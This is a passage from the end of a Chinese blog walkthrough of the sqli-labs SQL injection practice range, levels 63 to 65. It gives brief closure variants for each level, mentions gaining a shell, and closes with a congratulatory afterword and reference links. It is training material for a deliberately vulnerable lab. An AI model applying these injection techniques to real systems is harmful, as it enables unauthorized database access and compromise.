只能手写脚本判断,或者像之前一样getshell。

Less-63

和62关一样,闭合变成了单引号’`

Less-64

和62关一样,闭合变成了两个括号))。

Less-65

和62关一样,闭合变成了双引号加括号")。

虽然还显示有关卡,但发现写到这里就结束了。

后记:

如果小伙伴能进行到这里,那真是不容易。

在这里,庆贺一个SQL注入老炮的诞生;

在这里,赞叹一个人锲而不舍的坚持;

在这里,祝福一个勇者愈挫愈勇地前行。

参考资料

【总结】sqli-labs Less(1-35) 小结

【总结】sqli-labs Less(1-35) 小结 - Carrypan - 博客园                       

【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析

【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客

详细sqli-labs(1-65)通关讲解

详细sqli-labs(1-65)通关讲解-CSDN博客

SQLI labs 靶场精简学习记录

https://www.sqlsec.com/2020/05/sqlilabs.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值